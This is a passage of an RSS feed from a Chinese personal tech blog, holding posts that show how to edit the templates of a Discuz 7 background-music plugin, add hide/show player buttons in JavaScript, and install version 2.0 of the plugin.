　　<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>top.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span><span style="color: #339933;">==</span><span style="color: #3366CC;">&quot;{$boardurl}index2.php&quot;</span><span style="color: #009900;">&#41;</span><br />
　<span style="color: #009900;">&#123;</span>　<br />
　top.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;{$boardurl}&quot;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span><br />
　　<br />
<span style="color: #006600; font-style: italic;">// --&gt;</span><br />
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></div></td></tr></tbody></table></div>
<p>2，对于login.htm<br />
（这个文件在templates\default下）<br />
大概是在第19-25行：</p>
<div class="codecolorer-container html4strict default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br /></div></td><td><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; &nbsp; &nbsp; {if !empty($floatlogin)}<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $('messageright').innerHTML = '<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/h1.html"><span style="color: #000000; font-weight: bold;">h1</span></a>&gt;&lt;<a href="http://december.com/html/4/element/a.html"><span style="color: #000000; font-weight: bold;">a</span></a> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;javascript:;&quot;</span> <span style="color: #000066;">onclick</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;location.reload()&quot;</span>&gt;</span>{lang login_refresh}<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/a.html"><span style="color: #000000; font-weight: bold;">a</span></a>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/h1.html"><span style="color: #000000; font-weight: bold;">h1</span></a>&gt;</span>';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; setTimeout('location.reload()', $mrefreshtime);<br />
&nbsp; &nbsp; &nbsp; &nbsp; {else}<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $('messageright').innerHTML = '<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/h1.html"><span style="color: #000000; font-weight: bold;">h1</span></a>&gt;&lt;<a href="http://december.com/html/4/element/a.html"><span style="color: #000000; font-weight: bold;">a</span></a> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;{echo dreferer()}&quot;</span>&gt;</span>{lang login_location}<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/a.html"><span style="color: #000000; font-weight: bold;">a</span></a>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/h1.html"><span style="color: #000000; font-weight: bold;">h1</span></a>&gt;</span>';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; setTimeout(&quot;window.location.href='{echo dreferer()}'&quot;, $mrefreshtime);<br />
&nbsp; &nbsp; &nbsp; &nbsp; {/if}</div></td></tr></tbody></table></div>
<p>改为：</p>
<div class="codecolorer-container html4strict default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br /></div></td><td><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; {if !empty($floatlogin)}<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $('messageright').innerHTML = '<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/h1.html"><span style="color: #000000; font-weight: bold;">h1</span></a>&gt;&lt;<a href="http://december.com/html/4/element/a.html"><span style="color: #000000; font-weight: bold;">a</span></a> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;javascript:;&quot;</span> <span style="color: #000066;">onclick</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;parent.location.reload()&quot;</span>&gt;</span>{lang login_refresh}<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/a.html"><span style="color: #000000; font-weight: bold;">a</span></a>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/h1.html"><span style="color: #000000; font-weight: bold;">h1</span></a>&gt;</span>';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; setTimeout('parent.location.reload()', $mrefreshtime);<br />
&nbsp; &nbsp; &nbsp; &nbsp; {else}<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $('messageright').innerHTML = '<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/h1.html"><span style="color: #000000; font-weight: bold;">h1</span></a>&gt;&lt;<a href="http://december.com/html/4/element/a.html"><span style="color: #000000; font-weight: bold;">a</span></a> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;{echo dreferer()}&quot;</span>&gt;</span>{lang login_location}<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/a.html"><span style="color: #000000; font-weight: bold;">a</span></a>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/h1.html"><span style="color: #000000; font-weight: bold;">h1</span></a>&gt;</span>';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; parent.location.reload();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; setTimeout(&quot;window.location.href='{echo dreferer()}'&quot;, $mrefreshtime);<br />
&nbsp; &nbsp; &nbsp; &nbsp; {/if}</div></td></tr></tbody></table></div>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=2364";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=2364" title="Permanent Link to 音乐插件如何自己修改模板" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=2364</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2012年01月7日  //  <a href="http://ihacklog.com/php/wordpress/plugins/three-wp-debuging-plugins.html" title="WP调试插件三款">WP调试插件三款</a> (0)</li><li>2009年02月10日  //  <a href="http://ihacklog.com/security_optimization/path_infodefangshilaishixiansousuoyinqingyouhao.html" title="PATH_INFO的方式来实现搜索引擎友好">PATH_INFO的方式来实现搜索引擎友好</a> (0)</li><li>2011年06月23日  //  <a href="http://ihacklog.com/linux/run-whireshark-as-non-root.html" title="以非root运行wireshark">以非root运行wireshark</a> (0)</li><li>2009年11月7日  //  <a href="http://ihacklog.com/server/how-to-deal-with-linux-server-down.html" title="当你的Ubuntu Linux服务器死机了该怎么处理[转]">当你的Ubuntu Linux服务器死机了该怎么处理[转]</a> (3)</li><li>2009年01月7日  //  <a href="http://ihacklog.com/php/%e4%ba%94%e7%a7%8d%e5%b8%b8%e8%a7%81%e7%9a%84-php-%e8%ae%be%e8%ae%a1%e6%a8%a1%e5%bc%8f.html" title="五种常见的 PHP 设计模式">五种常见的 PHP 设计模式</a> (0)</li><li>2011年09月22日  //  <a href="http://ihacklog.com/php/wordpress/problems/wordpress-author-page-not-found.html" title="WP用户日志页面404错误的解决办法">WP用户日志页面404错误的解决办法</a> (1)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/discuz/dz-bg-music-plugin-how-to-modify-mb.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>discuz 7 背景音乐插件之隐藏播放器</title>
		<link>http://ihacklog.com/php/discuz/discuz7bg-music-player-how_to-hide-the-player.html</link>
		<comments>http://ihacklog.com/php/discuz/discuz7bg-music-player-how_to-hide-the-player.html#comments</comments>
		<pubDate>Fri, 05 Jun 2009 03:24:18 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[discuz]]></category>

		<guid isPermaLink="false">http://blog.thinkstd.com/?p=2318</guid>
		<description><![CDATA[有网友今天问我如何添加”隐藏播放器”的按钮，我想这个问题在必要写个文章作个说明，可能在以后的版本中会把代码加进去。 修改插件文件index.php 在 1&#60;/head&#62; 前面加上如下代码： 12345678910111213141516171819&#60;script type=&#34;text/javascript&#34;&#62; &#160; &#160; function openPlayer&#40;&#41; &#123; document.getElementById&...]]></description>
			<content:encoded><![CDATA[<p>有网友今天问我如何添加”隐藏播放器”的按钮，我想这个问题在必要写个文章作个说明，可能在以后的版本中会把代码加进去。<br />
修改插件文件index.php<br />
在</p>
<div class="codecolorer-container html4strict default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/head.html"><span style="color: #000000; font-weight: bold;">head</span></a>&gt;</span></div></td></tr></tbody></table></div>
<p>前面加上如下代码：</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span><br />
&nbsp; &nbsp; <br />
<br />
<span style="color: #003366; font-weight: bold;">function</span> openPlayer<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <br />
<span style="color: #009900;">&#123;</span><br />
document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'player'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">style</span>.<span style="color: #660066;">top</span> <span style="color: #339933;">=</span><span style="color: #3366CC;">' &nbsp;&lt;?php echo $musicPlayerTop;?&gt; '</span><span style="color: #339933;">;</span><br />
document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'plctrlopen'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">style</span>.<span style="color: #660066;">display</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">'none'</span><span style="color: #339933;">;</span><br />
document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'plctrlclose'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">style</span>.<span style="color: #660066;">display</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">'inline'</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #003366; font-weight: bold;">function</span> hidePlayer<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <br />
<span style="color: #009900;">&#123;</span><br />
document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'player'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">style</span>.<span style="color: #660066;">top</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">'-500'</span><span style="color: #339933;">;</span><br />
document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'plctrlopen'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">style</span>.<span style="color: #660066;">display</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">'block'</span><span style="color: #339933;">;</span><br />
document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'plctrlclose'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">style</span>.<span style="color: #660066;">display</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">'none'</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #009900;">&#125;</span><br />
<br />
<br />
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></div></td></tr></tbody></table></div>
<p>再在</p>
<div class="codecolorer-container html4strict default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/body.html"><span style="color: #000000; font-weight: bold;">body</span></a> scroll<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;no&quot;</span>&gt;</span><br />
<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/div.html"><span style="color: #000000; font-weight: bold;">div</span></a> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;ajaxwaitid&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/div.html"><span style="color: #000000; font-weight: bold;">div</span></a>&gt;</span></div></td></tr></tbody></table></div>
<p>下面加上：</p>
<div class="codecolorer-container html4strict default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/span.html"><span style="color: #000000; font-weight: bold;">span</span></a> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;plctrlclose&quot;</span> <span style="color: #000066;">style</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot; position: absolute;background:transparent ;right:10%;top:&lt;?php echo $musicPlayerTop+5;?&gt;</span></span>px;&quot;&gt;<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/a.html"><span style="color: #000000; font-weight: bold;">a</span></a> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;#&quot;</span> <span style="color: #000066;">onclick</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;hidePlayer();return false;&quot;</span>&gt;&lt;<a href="http://december.com/html/4/element/span.html"><span style="color: #000000; font-weight: bold;">span</span></a> <span style="color: #000066;">style</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;color:green;&quot;</span>&gt;</span>隐藏播放器<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/span.html"><span style="color: #000000; font-weight: bold;">span</span></a>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/a.html"><span style="color: #000000; font-weight: bold;">a</span></a>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/span.html"><span style="color: #000000; font-weight: bold;">span</span></a>&gt;</span><br />
<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/span.html"><span style="color: #000000; font-weight: bold;">span</span></a> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;plctrlopen&quot;</span> <span style="color: #000066;">style</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;position: absolute; display:none;background:transparent ;right:10%;top:&lt;?php echo $musicPlayerTop+5;?&gt;</span></span>px;&quot;&gt;<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/a.html"><span style="color: #000000; font-weight: bold;">a</span></a> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;#&quot;</span> <span style="color: #000066;">onclick</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot; openPlayer();return false;&quot;</span>&gt;&lt;<a href="http://december.com/html/4/element/span.html"><span style="color: #000000; font-weight: bold;">span</span></a> <span style="color: #000066;">style</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;color:green;&quot;</span>&gt;</span>显示播放器<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/span.html"><span style="color: #000000; font-weight: bold;">span</span></a>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/a.html"><span style="color: #000000; font-weight: bold;">a</span></a>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/span.html"><span style="color: #000000; font-weight: bold;">span</span></a>&gt;</span></div></td></tr></tbody></table></div>
<p>这样就可以了。</p>
<p><a href="http://i3.6.cn/cvbnm/6c/db/4d/8d06df8ee81f751d12804557562be8a2.jpg" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）"  rel="lightbox[2318]"><img src="http://i3.6.cn/cvbnm/6c/db/4d/8d06df8ee81f751d12804557562be8a2.jpg" alt="hide player" /> </a></p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=2318";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=2318" title="Permanent Link to discuz 7 背景音乐插件之隐藏播放器" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=2318</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2008年12月21日  //  <a href="http://ihacklog.com/memory/%e4%b8%8d%e8%ae%a9%e4%b8%96%e7%95%8c%e6%94%b9%e5%8f%98%e8%87%aa%e5%b7%b1%ef%bc%88%e8%bd%ac%ef%bc%89.html" title="不让世界改变自己（转）">不让世界改变自己（转）</a> (0)</li><li>2011年12月16日  //  <a href="http://ihacklog.com/php/wordpress/wpskills/audio-and-media-quicktags-button-revisioned.html" title="跟随WP升级，继续插入[audio、media短代码按钮修正]">跟随WP升级，继续插入[audio、media短代码按钮修正]</a> (0)</li><li>2010年12月31日  //  <a href="http://ihacklog.com/php/wordpress/upgraded-to-3-04.html" title="手动更新至3.04">手动更新至3.04</a> (6)</li><li>2011年12月19日  //  <a href="http://ihacklog.com/memory/hacklog/csdn-was-hacked.html" title="童鞋，CSDN被黑了，速度改密码去">童鞋，CSDN被黑了，速度改密码去</a> (8)</li><li>2011年12月13日  //  <a href="http://ihacklog.com/php/wordpress/plugins/make-codecolorer-be-compatible-with-wp-3-3.html" title="修正codecolorer与WP 3.3兼容性">修正codecolorer与WP 3.3兼容性</a> (5)</li><li>2009年09月24日  //  <a href="http://ihacklog.com/linux/ubuntu-desktop/solve-problem-ubuntu-flash-chinese-words-error.html" title="解决ubuntu flash中文乱码问题">解决ubuntu flash中文乱码问题</a> (1)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/discuz/discuz7bg-music-player-how_to-hide-the-player.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>discuz7.0论坛背景音乐插件v2.0（修正版，支持全站播放）</title>
		<link>http://ihacklog.com/php/discuz/discuz70luntanbeijingyinlechajianv20xiuzhengbanzhichiquanzhanbofang.html</link>
		<comments>http://ihacklog.com/php/discuz/discuz70luntanbeijingyinlechajianv20xiuzhengbanzhichiquanzhanbofang.html#comments</comments>
		<pubDate>Sun, 24 May 2009 02:57:09 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[discuz]]></category>

		<guid isPermaLink="false">http://blog.thinkstd.com/?p=2099</guid>
		<description><![CDATA[Discuz!插件发布 discuz7.0论坛背景音乐插件v2.0（修正版，支持全站播放）[By荒野无灯] 插件名称     discuz7.0论坛背景音乐插件v2.0（修正版，支持全站播放）[By荒野无灯] 适用版本 Discuz!7.0 语言编码 GBK 插件作者 荒野无灯 版权所属 荒野无灯 支持网站 http://www.ihacklog.com 插件简介 是 “discuz7.0论坛首页背景音乐插件[By荒野无灯]（带音乐盒，修正版）2009年03月13日更新”版的升级， 解决在歌曲在首页播放时...]]></description>
			<content:encoded><![CDATA[<h1>Discuz!插件发布</h1>
<h3><a href="http://www.discuz.net/thread-1270792-1-1.html">discuz7.0论坛背景音乐插件v2.0（修正版，支持全站播放）[By荒野无灯]</a></h3>
<p><strong>插件名称     discuz7.0论坛背景音乐插件v2.0（修正版，支持全站播放）[By荒野无灯]<br />
适用版本</strong> Discuz!7.0<br />
<strong>语言编码 </strong> GBK<br />
<strong>插件作者</strong> 荒野无灯<br />
<strong>版权所属</strong> 荒野无灯<br />
<strong>支持网站</strong> http://www.ihacklog.com<br />
<strong>插件简介</strong> 是 “discuz7.0论坛首页背景音乐插件[By荒野无灯]（带音乐盒，修正版）2009年03月13日更新”版的升级，</p>
<p>解决在歌曲在首页播放时点击进入版块或查看帖子时音乐就停止的BUG，支持全站播放！可以一边看帖子，一边听歌-_-</p>
<p><span style="color: red;"><span style="font-size: medium;">What&#8217;s new</span></span>：<br />
<span style="color: red;"><span style="font-size: medium;"><span style="font-family: 宋体;">解决在歌曲在首页播放时点击进入版块或查看帖子时音乐就停止的BUG，支持全站播放！可以一边看帖子，一边听歌-_-</span></span></span></p>
<p><span style="font-family: 黑体;"><span style="color: green;"><span style="font-size: medium;">演示网址(用的是支持全站播放的版本之全站框架版)：</span></span></span><br />
<a href="http://bbs.fengyeting.cn/" target="_blank"><span style="font-size: large;"><span style="color: red;"><span style="font-family: Arial;">http://bbs.fengyeting.cn/</span></span></span></a><br />
<a href="http://bbs.thinkstd.com/" target="_blank"><span style="font-size: large;"><span style="color: red;"><span style="font-family: Arial;">http://bbs.thinkstd.com/</span></span></span></a></p>
<p>建议下载<span style="color: red;"><strong>dz_bg_music_playerv2.0_build0516pm0856_GBK</strong></span><span style="font-size: medium;"><span style="color: red;">,<br />
</span></span><span style="font-size: medium;"><span style="color: red;">dz_bgmusic_build0516am0839GBK为全站框架版，可能会对SEO有影响，</span></span><span style="font-size: large;"><span style="color: red;">请慎选！</span></span></p>
<p><span style="font-size: medium;"><span style="color: red;"><strong>提醒：安装前，请注意备份好数据库和文件!</strong></span></span><br />
如果你以前对index.php文件做过修改，请不要上传我压缩包里的index2.php（这个实际就是discuz原来的index.php，只是重命了下名），直接把你服务器上的ind</p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=2099";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=2099" title="Permanent Link to discuz7.0论坛背景音乐插件v2.0（修正版，支持全站播放）" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=2099</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2011年07月12日  //  <a href="http://ihacklog.com/server/iis/win7-iis-7-5-setup.html" title="win7 IIS 7.5 安装配置">win7 IIS 7.5 安装配置</a> (3)</li><li>2009年11月6日  //  <a href="http://ihacklog.com/memory/trainee-journey.html" title="见习小记">见习小记</a> (0)</li><li>2011年10月3日  //  <a href="http://ihacklog.com/software/tips/how-to-flush-the-dns-cache.html" title="刷新DNS缓存的方法">刷新DNS缓存的方法</a> (2)</li><li>2009年06月24日  //  <a href="http://ihacklog.com/software/tips/tex.html" title="排版你还在用word吗？">排版你还在用word吗？</a> (7)</li><li>2008年02月22日  //  <a href="http://ihacklog.com/php/skills/php%e4%b8%ad%e4%bd%bf%e7%94%a8_session%e5%b8%a6%e6%9d%a5%e7%9a%84%e9%97%ae%e9%a2%98.html" title="PHP中使用$_SESSION带来的问题">PHP中使用$_SESSION带来的问题</a> (0)</li><li>2011年12月17日  //  <a href="http://ihacklog.com/php/wordpress/wpskills/simple-solution-to-modifying-wordpress-admin-password-when-your-have-forgot-it.html" 